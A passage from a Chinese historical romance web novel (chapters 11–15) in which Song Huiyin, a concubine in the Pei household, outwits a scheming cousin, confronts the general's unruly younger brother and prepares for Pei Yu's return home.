不过三大板下去,那婢女已然受不住,指着贺佳莹道:“奴招!都是贺女郎指使的,昨日贺女郎找到奴婢,吩咐奴婢今日未时等候在此处救她!那金链是贺女郎赏的,不是奴偷的!” “你胡说,姨母,她胡说,一定宋徽音在陷害我。”贺佳莹跪在裴夫人面前,矢口否认。 裴夫人看着她急忙辩解的表情,心中酸涩难捱,她不是傻子,早就知道贺佳莹心术不正,可这些年,她是真心将她当作女儿疼爱。 陶媪见裴夫人还在摇摆不定,站出来主持公道,她肃声道:“贺女郎,你不惜自己性命也要诬陷旁人,事后仍不知悔改,奴婢僭越,替女君好生管教管教你!” “来人,将贺女郎拉下去,我亲自掌刑!” 候在一旁的两个粗壮仆妇一左一右的拉住贺佳莹,将她拉离裴夫人身边,压在地上跪住 贺佳莹哭的撕心裂肺,拽着裴夫人的衣角不停念叨祈求:“姨母救救我,救救我!” 陶媪居高临下看着被制在地上的贺佳莹,严厉的面容浮现:“按裴府家规,女郎无故生事构陷她人,苔二十。” 她举起厚重的戒尺,抽在贺佳莹白皙的脸颊上,不过一苔,贺佳莹脸色迅速泛起红痕。 徽音不由的退后一步,万万没想到裴府的家规居然是苔脸,这二十苔下去,贺佳莹必然容色必然有损。 几道风声传来,贺佳莹的哭声已经湮灭,取而代之的是她的哀叫声。 数十苔下去,贺佳莹已无力发声,嘴角缓缓溢出两道鲜血,脸蛋肿得老高。 裴夫人再也忍不住,护犊子般拦在贺佳莹面前,对着陶媪怒道:“本夫人才是裴家当家作主的人,现在本夫人命令你,不许再打她!” 她怒目圆睁,将贺佳莹死死护在身后,眼角溢出泪。 陶媪自然不会对裴夫人动手,她那张波澜不惊的脸上照样没有表情,只肃声道:“女君真要为了维护她,不顾裴府的规矩,不顾自己裴氏夫人的脸面吗?” 陶媪躬身向宫中椒房殿的方向行了个礼,“如若女君坚持要包庇贺女郎,奴自然无怨言,只是此事奴一定会原原本本禀告给宫中皇后娘娘!” 裴夫人一口银牙咬碎,她直起身斥道:“你这是在威胁我?” 陶媪面无表情抬手称不敢。两人立在院中对视,一时间谁也不让谁。 就在这时,倒地不起的贺佳莹拉住裴夫人的衣角,痛苦的摇头,言语不清:“姨母……您让她……罚我吧。” 滚落的泪珠粘在脸颊处,带起一阵火辣辣的疼痛,贺佳莹只感觉嘴中满是铁锈味,她知道,今日她一定得认罚。 不然陶媪将此事报给裴后,以裴后眼底不容沙子的性子,一定会勒令裴夫人将她送走,她不要再回去过那种吃不饱穿不暖的日子。 她困难的撑起身体,祈求的看着陶媪,艰难的发声:“我认错……我认罚……我不该嫉妒心重……您继续打我吧。” 裴夫人泣不成声,守在一旁的乔媪也面露不忍,扶着裴夫人进屋,不忍她看见贺佳莹的惨状。 陶媪面带笑容,看在贺佳莹眼中确如同索命的阎罗,她叹息道:“女郎,只愿你长个教训,莫要再犯。” 她高高抬手,贺佳莹害怕的闭上眼,握紧拳头,等待那重重的一苔落下。 12. 第 12 章 “陶媪。” 突如其来的的声音吸引所有人的注意,连回房的裴夫人都停下脚步。 徽音低头看了眼凄惨的贺佳莹,不卑不亢的走上前,“您德高望重,被皇后娘娘派来协助夫人理家,可到底夫人才是裴府真正的主子,不是吗?” 陶媪眯起眼,瞬间明白徽音的心思,她问道:“宋娘子,今日这出你才是受害者,如若未查明真相,此刻在地上受刑的就是你。若是你受刑,只怕我将你打死,都不会有人心软替你求情啊。” “不是尚未发生吗?”徽音反问。 陶媪不明所以,她疑惑的看着徽音。却见那如玉女郎扶起地上站不稳的贺佳莹,将她塞到身后担忧的疏影怀中。 而后,她听见徽音的声音,徽音似是在跟她讲,又似是在跟贺佳莹讲:“尚未发生之事,我从不会去想。我做事,只看当下,凭心而行。” 陶媪看见徽音转头浅笑的看着她,吐出的话语却如千斤重。 “夫人是裴府的当家主母,我们所有人的去留,处罚她都能管。夫人是皇后娘娘的嫂嫂,裴将军的生身母亲,她亦是这裴府最为尊贵之人,她虽不怎么管事,但这后宅却是夫人说了算,即便是皇后娘娘,也不能不顾夫人的脸面,陶媪,你说是吗?” 陶媪垂头不语,徽音这话表面上是在提醒,可内里分明是在敲打她,敲打她身为奴仆,却越过府内女君做主。她又想起少将军离去前曾对她言,女君性子软,请她多担待。 这话乍一听没有什么,可细细想想,却和徽音之语有异曲同工之妙,都是在敲打她,要尊女君为首。 陶媪瞬间惊出冷汗,是啊,她一直仗着是皇后赐下,到了裴府后也一直自得,经常越过女君做主事宜。女君性子不重内务,会由着她,可少将军会容忍一个仆妇欺在他母亲头上? 何况她已经出宫,无论无何是回不到皇后身边了,以后怕是要老死在裴家,万万不能得罪女君和少将军。 想明其中关窍,陶媪放下手中的苔板,恭敬的向裴夫人下跪行礼,“女君恕罪,奴婢逾距,请您责罚。” 裴夫人愣愣的看着她,又转头看向徽音,嘴巴动了动,却不知道该说什么。 徽音叹了口气,走到她身边提醒:“陶媪也是为着裴府,何谈有罪?” 裴夫人立刻接话道:“是啊是啊,这些年,若不是你帮衬着,裴府不定还要乱套了呢。”她擦着额头的细汗,偷偷在衣袖下瞄着徽音。 徽音:“……”她实在难以想象裴夫人这样的软和性子如何会养出裴彧那样的锋利的儿郎。 她示意裴夫人看向带伤的贺佳莹。裴夫人明白过来后又道:“今日确实是佳莹有错,该罚!只是这二十苔下去非得破她的相不可,一个女娘若是脸上带伤,那可是天大的事情。依我看,她今日已经长了教训,这剩下的苔刑就免了,改为禁足一月。” 裴夫人语气变得严厉起来,她看着贺佳莹道:“若再犯,姨母不会保你,你就收拾行囊回益州老家去罢。” 贺佳莹不顾身后疏影的帮扶,推开她跪在地上,泣道:“姨母放下,佳莹谨记,必不会再犯了。” 陶媪也点点头,裴夫人这模样,还当真有几分当家主母的气势。 徽音站在一旁,从头到尾见识到这场闹剧的落幕,在陶媪一顿恩威并施下,院内的婢女纷纷吓得白了脸色,连连发誓不会将今日的事情透露出去半分。 裴夫人看着徽音惨白的脸色,心中顿时觉得对不住她,她拉着徽音的手掌柔声道:“好孩子,委屈你了,你放心,我定会好好补偿你。可怜见的,这脸色怎么白成这样,快快回去休息!” 徽音下意识抬手了摸了把脸,低头一看,纤细的手指上裹着细腻的铅粉,她连忙背手在衣裙上擦了擦,还好裴夫人未曾摸她的脸,差点露馅。 裴夫人忙着给贺佳莹请大夫看伤,并未注意到徽音的小动作的。倒是陶媪慧眼如炬,看穿了徽音的把戏。 她没有拆穿,而是上前福身行礼,“早就听皇后娘娘说宋娘子聪慧万分,今日一见果然非同凡响。若非您即使点醒,只怕奴婢还蒙在鼓里。” 徽音见她并没有被冒犯后的生气,反而真心实意道谢,她瞬间松了口气。今日这一出戏她玩了手将计就计,摆平贺佳莹的同时也收拢了裴夫人的心。 只是陶媪一事出乎意料,她在看见陶媪和裴夫人对峙时便觉得不对,裴彧对他母亲的重视有目共睹,又怎会容忍旁人压在裴夫人头上。 她见陶媪气度非凡,又是宫中裴后赐下,这才冒着风险出言,想要点醒她。好在裴后身边的人都不是蠢人,她不过多言两句就全明白了。 徽音也同样向陶媪回礼,“不敢,不过是占了口舌之便。” 陶媪看着面前亭亭似月,嬿婉如春的少女,不禁感叹,有这份才智和心胸,不论徽音身处何处,总有扶摇之上的一天。 她也明白了裴后为何要不顾陛下意见,要定徽音为太子妃,不是看重她的身世,而是看重她这个人。 回去的路上,徽音一扫往日的阴霾,久违的现了笑意,她脚步轻盈灵动,如风似柳。颜娘仿佛看见从前无忧无虑的徽音,少女神采飞扬,叫人不忍打扰。 徽音摘了朵暖房坛中开得正盛的芍药,抬手别在发髻右侧,欢快的问颜娘:“我这般,好看吗?” 颜娘眼含温柔,少女衣着素雅,头上只挽了个单髻,两侧头发柔柔的垂在耳边,随微风扬起。 发髻那朵艳丽的芍药丝毫夺不走她五官的秀丽,她忙不迭称道:“奴婢没有读过多少书,此刻借先人一语,若非瑶台仙子降,怎教芍药掩芳尘!” 她边念边摇头晃脑的模样逗笑徽音,徽音亲密的挽着颜娘的手臂,状似苦恼的抱怨:“傅母你就会恭维我!” 颜娘摸着徽音如同绸缎般的秀发,问出心中疑虑:“方才是怜悯那贺佳莹吗?” 徽音望向远处高飞的翠鸟,眼神飘远:“我并非以德报怨之人,她那般欺我,受教训是自找的。裴夫人爱重她,而我也需要获得裴夫人的欢心,今日若真是将她打出问题来了,你说裴夫人是怪陶媪还是怪我?” 颜娘没回,自然是怪徽音,人心都是偏的。 两人才回了临水阁,就有一大群婢女捧着托盘鱼贯而入,裴夫人身边的春分恭敬道:“宋娘子,这是女君为您置办的衣裳和首饰,您看看?若有不合心意的尽管开口。” 徽音细数过去,共有十二件制好的成衣曲裾,颜色鲜艳绣工出众,料子用的都是上好的蜀锦,一看就知是京中最大的成衣坊羽衣阁所制。 她抬手摸摸镶嵌东珠的珠钗问道:“我只是妾,这些是否太逾矩了。” 春分讨好道:“宋娘子可别说这话,您如今是女君和少将军的心头肉,这是自然是当的的。” 若是从前的徽音看见这些珠宝华服,自然会欣喜万分。可现在的她看着这些心中丝毫不起波澜,她敷衍的点点头,吩咐颜娘将东西收下。 春分见徽音神色淡淡,疑心 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“方才女君院中的春分来过,让奴婢将此物转给。还留有一句话,女君赐下内院腰牌,凭此令可以进出府邸,差遣马房,调动府内近卫陪侍。” “知晓了,下去吧。”徽音拿过腰牌端详,这纹饰有些耳熟,她好像在哪里见过,一时间想不起来了。 昨夜也未曾休憩好,不过戌时,徽音便感觉到困顿,一直注意她的颜娘起身收拾书案,催促道:“时候不早了,连着几日未曾休息好,眼下还带着青黑,快去休憩罢。” 徽音抬手掩住哈欠,眯着眼摸上床榻,颜娘细心的整理她身侧的被褥,伸手在徽音额头摸了摸,轻声道:“好梦。” 她熄了灯火,慢慢退出屋外,脚步声慢慢远行。徽音陷入沉睡,她梦见了一个不可能梦见的人。 那是选妃宴上的事,因着皇后娘娘曾私下透露出定她为太子妃的消息,整场宴席她都被人环绕恭维,好不容易脱身找了个清净地方偷懒。 徽音躺在花圃内的秋千上悠闲的晒着太阳,忽闻前方才来动静,她撑起身看去。两名男子一前一后的走进不远处的凉亭内,其中一个她认识,是这次宴席的主角太子殿下。 另一人背对着她,身姿修长,气度不凡,劲瘦的腰间佩着一块兽纹腰牌,纹路古朴形状奇异。他肆意的卧在亭廊内,同旁人叙话。 从她的角度只能看见那男子被玄色衣袍勾勒的劲瘦腰身,亭内曲水流觞,酒香四溢。 徽音听见他慵懒的声音,脱口的话却异常恶劣,他对着正坐的太子道:“姑母说那宋徽音聪慧,识大体,堪当太子妃之位,今日一见,不过尔尔,是个空有容貌的俗人。” 徽音手中的芍药花被她一把掐断,她伏身听着,姑母,又和太子如此熟稔,除了那位少年杀神还能有谁。 早先听闻他战功彪悍,勇冠三军,她还当他是个少年英雄颇为仰慕。如今看来,这人实在过分,私下随意点评其他女娘,也不照照镜子看看他自己又好到哪里去。 徽音伏在花圃内听着,半响,她听见太子替她发声:“表兄,不可妄议女子!宋女郎孤见过几次,她并非你说的那样不堪。” 他二人剩下的谈论徽音没有听清,但那句“不过尔尔”让她对那道慵懒的语调记忆深刻。 她对裴彧的初印象便是此人乖张肆意,无半点君子之风,乃是她生平最讨厌的人之一。 13. 第 13 章 翌日一早,徽音久违了睡了个好觉,若非昨夜梦到裴彧,只怕她会睡得更香。 她在柔软的被衾里眯了一会,起身下榻推开木窗,天气回暖,温暖的阳光洒满整个内室。 颜娘端来热水,徽音将手浸在铜盆内洗净,从昨日送来的成衣中挑了件藕粉曲裾,蔓草花纹典雅,曲裾下摆层层叠叠,行走间云裾缓移。 用过早饭,徽音带着颜娘去了正阳院,贺佳莹脸上的伤不轻,躲在房中不肯见人。徽音向裴夫人说明来意,她想回被抄没的宋家看看。 裴夫人自是无有不应,还细细嘱咐她多带些侍卫,以免被冲撞。 裴府的马车奢华宽大,威仪不凡,徽音不想引人注意,只带了两个侍卫,挑了辆寻常的顶盖青木马车,朝着西南方驶去。 马车绕着宋府转了一圈,如今的宋府已经被陛下赐给了旁人,府门前的木匾上写着樊宅二字。 徽音深深凝视这座承载她喜怒哀乐的府邸,外宅已被樊家拆除翻新,只剩东北角方向的阁楼还保存完好,那是她以前最喜欢的地方。 良久,徽音撤下车帘,吩咐马夫驾车绕路去东市十方街,东西市靠近横门和雍门,是长安城内最繁华的地段。 临近午时,就近找了一间靠近河道的食肆用饭,徽音要了一间二楼厢房,偷偷带着颜娘从后门溜出,甩开裴府侍卫。 她今日的目标是春巷,城内最大的烟花酒巷,几乎所有的销金窟都坐落在这里,门庭若市,即便是白日也依旧人多。 徽音两人带着幕离,等在群芳花楼外的茶楼,按照往常惯例,今日是太学休沐日,依那人的性子必要来此处寻欢作乐。 没有让她们等太久,不过半刻钟,就有一少年郎叫楼内乐妓驾着出来,他脚步虚浮,口口不知在嚷嚷什么。 等候良久的奴仆在看见他的身影后簇拥上前,却被他一掌挥开,骂骂咧咧的赶走。 剩他一人落单,混在人群中一路向东,徽音两人远远的坠在他身后,跟着他的脚步拐进一条幽静小巷。 少年停在一处矮脚院落前,人虽然醉酒,却依旧警惕,回头观望是否有人跟踪。 那张邪气肆意的面容露出,赫然是那日在城外拦截徽音,害宋景川坠崖的苏信。苏信并未察觉异样,一个哨子翻身跳进矮脚院落。 在他身后不远处的香囊摊子上,徽音掀起幕离,打量面前的街道小巷,道路铺设卵石,周边干净整洁。 坐落在闹市的小巷中,这一处聚集不少院落,内置三四间房屋,不同于宣平门的夯土房,此处青砖陶瓦,上好的木材做梁,不是寻常百姓能住得起的,应是城内小官的居所。 她带着颜娘上前,进入巷道后一片幽静,只听得见几声市道的吆喝,不见行人。 徽音蹲在压得严实的黄土墙角支起耳朵细听。颜娘紧张的拦在徽音身前,深怕有人经过发现她们做贼的行径。 离得太远,徽音只能听见一些细碎的呻吟,她将脸蛋贴在土墙上,听见里头女子悲哀的哭泣和男子粗重的喘息声。 隔墙听不太清晰,徽音站起身丈量这堵黄墙的高度,约莫一人半高。 她转头环视一圈,发现对邻的墙屋脚下有几块散乱的青砖。 两人来来回回跑了几趟,将青砖整齐的码在墙角,徽音站在青砖上,踮起脚刚刚能看到院中。 屋内的动静比方才在墙外听着要大许多,徽音凝神片刻,终是听清了,那男子是苏信的声音无疑,他嗓子沙哑,喘息中夹杂几句淫语。 女子声音很小,徽音没听见她说话,只听见她一直在哭。 街道口传来马车“嗒嗒”的声音,徽音站起身,拉着颜娘绕出小巷。时辰不早了,再耽搁下去侍卫估计要起疑心,好在今日有些收获。 回府的路上,颜娘撵着帕子擦拭徽音脸上蹭的土灰,询问徽音听见了什么。 徽音有些不好意思的接过颜娘手中的帕子盖在脸上,瓮声瓮气:“男女苟且之事。” 颜娘面露鄙夷,不想这些污遭事污了徽音的耳,不再多问什么。 徽音靠在马车上闭眼小憩,良久,她脑中似乎闪过什么,抓住颜娘问道:“方才透过那院墙,我似乎瞧见墙下晾着不少男人的深衣,难道那女子是有夫之妇?” 颜娘先是一愣,而后神情激动起来,“娘子,私通罪可大可小,轻则流放名声尽毁,重则判处死刑!我们可以为小郎君报仇了!” 徽音倾身捂住颜娘的嘴,轻轻摇头,示意她看向车外的侍卫,裴府之人她尚不能完全信任。 她捂着砰砰跳的胸口轻声道:“不能操之过急,苏家势大,若没有万全之策不能动手。当务之急要先查明那女子的身份,还有她的郎婿是何人。” 两人平复心情回到裴府,刚进府门便看见早已等候多时的春分,她看见徽音立马迎上来,一脸急意:“宋娘子您可回来了,女君请您过去一趟,您快随奴婢走一趟吧。” 徽音询问:“出了何事?” 春分回道:“今日女君请了太医令替贺女郎看伤,太医令说脸上可能会留疤,贺女郎便……” 她剩下的话徽音也能猜到,无非贺佳莹是一哭二闹三上吊,裴夫人没了办法,又不敢找陶媪,只好请她过去看看。 还没到正阳院,就听见贺佳莹哭闹的声音穿破云层,徽音揉着耳朵,心中涌起厌烦。 她推门进去时,贺佳莹正趴在地上撕心裂肺的哭嚎,裴夫人在旁边急得跟热锅上的蚂蚁一般团团转,几个婢女伏跪在地上劝。 徽音冷眼看着乱作一团的内室,双手笼在袖中,静悄悄的站在门口看戏。 还是疏影实在看不过去,跪在徽音面前求哭:“宋娘子,您劝劝我家女郎吧,昨日之事都是奴婢的不是,奴婢给您磕头赔罪,求您原谅!” 她砰砰几下磕在地上,声音清脆,没两下额头红肿不堪,徽音来不及阻止,只能拉住她的手将人拖着,语气平淡:“你先 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贺佳莹楞在原地,刚刚蓄满泪的眼眶又被她奋力挤眼弄了回去,她掏出袖中的帕子,小心的凑在铜镜前擦拭泪痕,边擦边道:“我才不会让你如意!” 裴夫人见状感激的看了徽音一眼,端起上好的伤药凑上前,心疼的抹在她脸上安慰道:“太医令说了,只要好生养着,疤痕一定能消散的。若实在不成,姨母就是豁出这张老脸也要去宫里给你求来雪肤玉肌膏。” 贺佳莹嘴角一瘪,又要流泪。 徽音不紧不慢补上一句:“还哭?” 贺佳莹瑟缩的跪坐在锦席上,愤恨的望着徽音,不敢再哭。 两个字将人吓倒,屋内伺候的仆妇面面相觑,这还是往日那个飞扬跋扈贺娘子吗? 见事情已经解决,徽音也不想再逗留,她悄悄出了院门,带着颜娘离开。 徽音和颜娘走到廊道尽头,她提起裙摆准备下楼梯时,突有破空声音传来,一枚小石子打在她的膝盖处,带起钻心的痛意。 她膝盖一软,整个人跌落倒地,手掌狠狠的蹭在道路旁的碎石上,鲜血淋漓。 颜娘扶着徽音起身,看清她血肉模糊的掌心,伤口里头还嵌着碎石,她忍不住的心疼。 “哈哈哈哈!”假山上探出一个人影,裴彧见与裴彧极为相似,容貌艳丽,五官出众,撑着手臂指着徽音狂笑。 颜娘怒极:“哪里来的小子,敢在裴府撒野!” “哼!”那少年动作敏捷,单手撑着假山石,一个翻身落在地上,右手捻着石子,左手用力拉开弓,对准徽音的脑袋,冷笑:“这是我家,我想做什么便做什么,你又是哪里来的老媪,连我都不识!” “你……” 徽音拉住颜娘,她右腿疼痛难忍,站都站不稳,手掌处火辣辣的疼着,额间都冒上细汗,她看着那少年的打扮和言语,已经猜到他是谁了。 裴彧的幼弟,裴衍。 14. 第 14 章 从裴夫人口中可以得知,他和年少的裴彧性格如出一辙,甚至更为过火。裴彧自矜,身居高位不屑动手,最多便是嘴毒了点,为人烂了些,但不会轻易动手。 可这刚满十五岁的小子,谁也不知道他会做什么,裴彧不在,裴府无人能制止他。 徽音忍着痛,凑近颜娘耳边,“他是裴衍,不要管他,绕道回去。” 颜娘点点头,不再去看那惹人厌的小子,扶着徽音转身离开。 她二人刚刚转身,又一枚小石子破空袭来,击打在颜娘后肩处,徽音听见颜娘的痛呼声,裴衍有多大力,她比任何都清楚。 她心头火瞬间升起,回头冷冷盯着裴衍,就见那裴衍一脸兴致勃勃,对准颜娘的膝盖,拉弓又要射出。 徽音忍无可忍,快步上前,一把夺过裴衍手中的弹弓,用力将人推倒在地,捡起石头拉弓,狠狠的射在裴衍额头。 裴衍猝不及防被推倒在地,下一瞬,额头上传来巨痛,他摸了把脸,那里肿起一块。他瞬间怒上心头,翻起身抬手就要掌掴下去。 “你动手试试!”徽音喝道。 裴衍扬在空中的手顿住,他愣愣的抬头瞧这徽音,发现她左手不停的渗血,染红了她身侧的衣裙。升起的怒气又熄灭,他冷哼一声,找回面子:“我才不与你一个女娘计较。” 徽音嗤笑:“少冠冕堂皇,你自诩和你阿兄是一样的少年英雄,可实际上么,他十五岁就能上阵斩杀匈奴,你呢?只会动手打女人,还是个没断奶的娃娃!” “你再说一遍!”裴衍脸涨得通红,他最烦旁人拿他同兄长比较。 “再说一万遍都是如此,你阿兄是英雄,你就是狗熊!” 徽音一步一步逼近他,直把人逼到假山石上,质问道:“我说的不对吗?我自问从未得罪过你,又是你阿兄的姬妾,你缘何要伤我?” 裴衍被逼的语无伦次:“那是因为……因为你欺负我佳莹表姊!” 徽音笑了,又道:“你不仅是个狗熊,还是个蠢货。” 裴衍万分委屈,他自出生没叫人骂得这么惨过,结果今日叫一小娘子骂得狗血淋头,他还没办法辩解。 颜娘缓过那阵疼劲,快步来到徽音身边,抽出干净的帕子裹上她流血的左手,狠狠剜了裴衍一眼。 裴衍心虚的低下头,他只是想教训一下徽音,没想让她受伤。是她自己倒霉,刚好摔在碎石子上。 徽音扔下弹弓,看着裴衍低垂的头颅,继续教训:“你佳莹表姊是什么人,还需我多说么。何况,是她栽赃陷害我不成,反将自己折进去,依照你的意思,难道我要站着挨打不还手吗?” 裴衍仰起头吼道:“我没有这么说!” “那你知错不错?” 裴衍又低下头,细若蚊蝇:“你说怎么办吧?” 徽音舒了口气,颇为赞许:“能承认错误,你还不错,你射了两颗石子,这债总得讨回来吧?” 裴衍眼神闪烁,小声抱怨:“你不是已经射了我一下吗,还射我脑门上,我明日去太学必然还被同学嘲笑了。” “你活该。”徽音扫了他一眼,上前一步,面无表情道,“你射两颗石子,我只还了一颗,我左手受伤拉不开弓,这剩下一颗就耳掴来偿还罢。” “什么!”裴衍大惊失色,被弹弓射一下他还能容忍,可要被人当众掌掴,这是天大的羞辱,他绝不能接受! “不行!别的都可以,掌掴不行!”裴衍一口拒绝,闭着眼梗着脖子不低头。 他等了许久,没听见动静,慢慢睁开眼,就见徽音和颜娘相扶着一瘸一拐离去,方才她摔倒的地方还留有一摊血迹。 裴衍立在原地,心中不住挣扎,一掌打在假山上,朝徽音离开的方向追去。 “宋徽音,一人做事一人当,今日是我错的,你要还手我受着就是,来吧!” 徽音转过身,裴衍一脸生无可恋,双手背在身后,她莞尔上前,高高扬手狠狠的扇在裴衍脸上,垂下的右手微微颤抖。 裴衍看着那巴掌落下,但比巴掌先到来的,是徽音身上的淡香,异常好闻,他本想开口问问是何香味,但被那迎头一耳光扇的摸不清东南西北。 耳中一阵耳鸣,半个脸颊肿起,已经没了知觉,裴衍捂着脸,再看看身前笑靥如花的徽音,他实在没想到,她这一巴掌用了如此大的力气。 裴衍扑在一旁的水池边,他此刻额头高高肿起,左侧脸上通红的五个小巧手指印,叫人一看就知道是被女人给扇了。 他瞬间心如死灰,思附这如何能逃了太学的课,不叫同窗笑话。 “你这下手也太狠了吧!”裴衍捂着脸龇牙咧嘴。 徽音扇完人不带留恋的转身离开,冷冷道:“叫你长个记性,看你下次还敢不敢。” 裴衍怒极,朝着徽音的身影大喊:“你没半点贤良淑德,跟檀阿姊比一个天上一个地上,我才不会承认你是我嫂嫂!” 他这边大喊的气喘吁吁,无人应声,裴衍重重踢了下脚下的石子,转身郁闷离去,他得想个办法逃了太学的课。 徽音两人互相搀扶着回了临水阁,阿蘅正在扫着院门前的石板,瞧见两人带伤回来,大惊失色,忙扔下扫帚跑上前搀扶住徽音。 “娘子,颜娘,你们这是怎么了?” 徽音冷静的吩咐:“不要声张,扶我们二人进去,你先去烧水,再去找府医拿点跌打损伤的药膏。” “好。”阿蘅扶着两人进院,将人交给阿桑等人,急急忙忙的跑出院子找府医拿药。 二楼屋内,徽音伏在矮榻上,左手放在软垫上,颜娘跪在一侧替她挑着伤口里的小碎石。 地板上放着一盆热水,旁边搭着几块干净的布包和伤药,徽音头埋在软衾里,肩膀轻轻抽动。 好不容易上完药,颜娘又去解徽音的裙衫,想看看她膝盖处伤的如何。 徽音直起身,按住颜娘的手臂劝慰:“傅母,你先去处理肩上的伤,我膝盖无事,擦点药就好。” 颜娘还是不放心,“奴婢的伤无碍。” 徽音按着裙摆不肯松手,颜娘没有办法,只能端着血水下楼,让徽音自己处理。 徽音撩起裙摆,白皙的腿上,一抹青紫突兀的显现,传来阵阵肿痛,她拿起药膏轻轻抹在膝盖上。 腿疼,手也疼,徽音陷入被衾里,不知不觉陷入沉睡。 颜娘涂好药膏上楼,发现徽音已经睡过去,她慢慢来到矮榻前,撩起裙摆看她的伤处,伤处青紫里满面泛着红,她放下裙子,替徽音盖好被褥,坐在一旁看着她的睡颜。 日暮西斜,徽音右臂发麻,她翻了个身,发觉屋内没有点灯,光线极暗。靠近窗台处跪坐着一个身影,是颜娘,她手中正在缝制衣料。 徽音起身点灯,右膝盖处还肿痛着,她缓慢移至窗台,跪坐在颜娘身侧,伏在她的膝盖上,轻轻呢喃:“怎的不点灯?” 颜娘撤开手中的针线,一下一下抚摸徽音的脑袋,笑道:“看得见,不用点。” 徽音垂下眼,她知道颜娘是怕打扰她才不点灯的,她不说话,直起身抱住颜娘,埋在她怀里依赖道:“以后不许这样了,伤眼。” “好。”颜娘一口答应,想起白日里的裴衍,他伤成那样,肯定瞒不过裴夫人。 “裴衍那,裴夫人会不会生气?” 徽音坐正身体,回想了一下裴夫人提前裴衍时的神情,是一副极恼火的样子,可裴衍到底是她的幼子,她会如何徽音也说不准。 “兵来将挡,水来土掩。”徽音起身坐在书案前,翻着未看完的字帖,蓦然想起裴衍那张像极裴彧的脸蛋,叫她打成猪头模样,显些笑出声。 晚膳比较简单,一道炙烤里脊肉,一叠豉酱拌秋葵,另有一道野雉汤,新鲜的野味慢炖出清汤,加入切碎的嫩笋丁,鲜嫩可口。 主食是粟米粉制成薄饼,贴于陶炉内壁烤熟,表面微焦脆,内里松软。还有小碟盐、豆豉酱、花椒粉调味。 徽音在一楼堂内用着饭食,颜娘等人叫她遣下去用饭,身边只有阿桑伺候在一旁。 院外传来动静,阿桑出屋穿好鞋履,打开院门,女君院里的春分提着灯等在外头,身后还跟着四个短襦婢女。 她侧开身,领着春分等人走进院中等候,快步走到屋外禀告,“娘子,是春分。” 徽音放下著,示意她将人叫进来,不多时,春分退去鞋履,走进屋内,恭敬的跪在地板上行礼,“春分问宋娘子安。” 徽音问:“可是夫人有事?” 春分转身朝后招手,跟着的四名婢女缓缓走近,跪在春分身后,手中各端着一个云纹朱漆盘,以红布相盖。 春分笑道:“女君说小郎君顽劣,素日里天不怕地不怕,跟个混世魔王似的。除了少将军,无人能止住他,如今宋娘子到成了能制住他的第二人。” 春分示意身后四人拉下红布,“女君听闻娘子受伤,特命奴婢前来送药。” 徽音摸着膝盖微笑道:“夫人宽宏,不怪罪我就好。” —— 函谷关与关南侧,武关、北侧萧关并称“关中四塞”。地处秦岭余脉崤山与黄河之间的狭长通道,侧峭壁高逾百米,最窄处仅容单车通行,是重要的军事重地。 晨雾初散时,关楼在山壁间露出黑色的轮廓,关道下,牛车辎重排成长蛇,等待关隘开放。裴彧站在三重关楼之上,俯视来往的胡商和农户 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关中令顾不得抬头去看裴彧的脸色,连滚带爬的捡起金饼跑开。 方木看他东奔西跑的滑稽模样一阵好笑,吐槽道:“这关中令,出门带这么多金饼做甚,这函谷关也没什么贵重之物啊。” 驰厌翻着白眼,扭头不去看这蠢蛋,“他是想趁机贿赂少将军,没找到机会。” 方木也不生气,凑过去和他闲聊:“你想不想知道那日我送宋娘子回府发生了什么事?” 驰厌推着他脑袋的手一顿,他还真感兴趣,两人偷偷摸摸瞧了眼站在前头的裴彧,降低音量闲聊。 方木夸卖着关子:“那日女君本要派人将宋娘子撵出府,都叫婢女动手了!结果,你猜怎么着?” 驰厌没好气道:“再不说我揍你。” 方木“嘿嘿”一笑,万分夸张:“你不知道!那宋娘子一句话就将女君和贺女郎给镇住了,喝退一众奴仆,连我都给吓住了!” “那是你胆小。”驰厌笑着“哼哼”两声,又问:“宋娘子说的何话?” 裴彧望着底下络绎不绝的商队辎重,听着方木夸张的叙述,那日回府婢女只告诉他阿母和宋徽音起了争执,她生气了,不让宋徽音进门。 至于其中过程,他亦不知,不过他也很好奇宋徽音是如何说的。 方木假装轻嗓,挺起胸膛,学着那日徽音的语气复述:“少将军平定东瓯立下大功,满城都在盯着裴府和宫中的一举一动,女君当真要在此时将我逐出裴府,叫天下人皆知吗?” 驰厌还没来得及回话,就见少将军转身过来嗤笑一声:“她倒是会狐假虎威。不过,你有一点说错了。” “少将军,哪里错了?”方木不明所以。 裴彧淡淡道:“她不会叫我少将军。” 关口出一阵骚动,关中令派人来报,太子仪架已到。一朱轮青盖的驷马安车缓缓向关口驶来,车体四周镶金银纹饰,车盖下垂着五彩璎珞。 太子卫队红衣皮甲,持“回避”“肃静”楯牌,踏步喝道“太子仪架至”。裴彧转身下楼,方木和驰厌跟在身后,一同出关迎接太子。 方木心中疑惑,他怎么觉得少将军对宋娘子偏见不少。 太子和裴皇后的容貌有五分像,不同的是裴皇后容貌艳丽,而太子眉眼温和,像个青年儒生。 他头戴远游冠、着绛色纱袍,腰间佩戴玉具剑,一见裴彧眉眼间都染上笑意。 太子下了安车,小步疾走迎上裴彧,喜形于色:“表兄,你真的来接孤了!” 裴彧躬身揖手,还没弯下去就被太子捉住往安车上走,太子一脸雀跃:“表兄不必多礼,随孤去车上一叙。” 两人站在一起,远看轮廓极为相似,只不过裴彧眉眼更加出众一些,鼻梁高挺,剑眉星目,不笑时像个冷面阎王,沉稳持重。 笑时嘴角向上勾起,增添一丝不羁,像未出鞘的匕首划过月光,慵懒中藏着锋锐,最勾小女娘喜欢。 裴彧有些无奈,任由太子拉着往前,他面部表情没有什么变化,不过,熟悉他的人都知道,他此刻神情放松,心情愉悦。 仪驾缓缓启程,朝着西京的方向而去,太子仪驾之后,多了一队肃穆整齐的骑兵,数目不多,百骑左右,分成左右两翼,守护着仪驾,打消那群蠹虫暗地里的阴暗心思。 自从被徽音吓住后,贺佳莹好生安分了一阵子,裴夫人也不再刁难徽音,府内仆妇异常恭敬,她好似回到了闺阁之时,一连几日都无人打扰,只是这短暂的悠闲时光将要被打破。 裴彧,要归家了。 15. 第 15 章 裴彧归家是裴府大事,裴夫人和陶媪三日前就忙活起来,徽音作为府内的闲人,只需要守着她那一亩三分地好好的就行。 裴彧归家那日,裴夫人一大早就派人将徽音唤起来,吩咐人给她穿了件暮紫广袖曲裾,又压着她在铜镜前打扮了一个时辰,在她头上簪满珠钗。 还是颜娘据理力争,将徽音碎发挽起,露出饱满的额头,两侧发髻垂绕,只在头上簪了对碧色玉钗,少女身姿聘婷,雍容华贵。 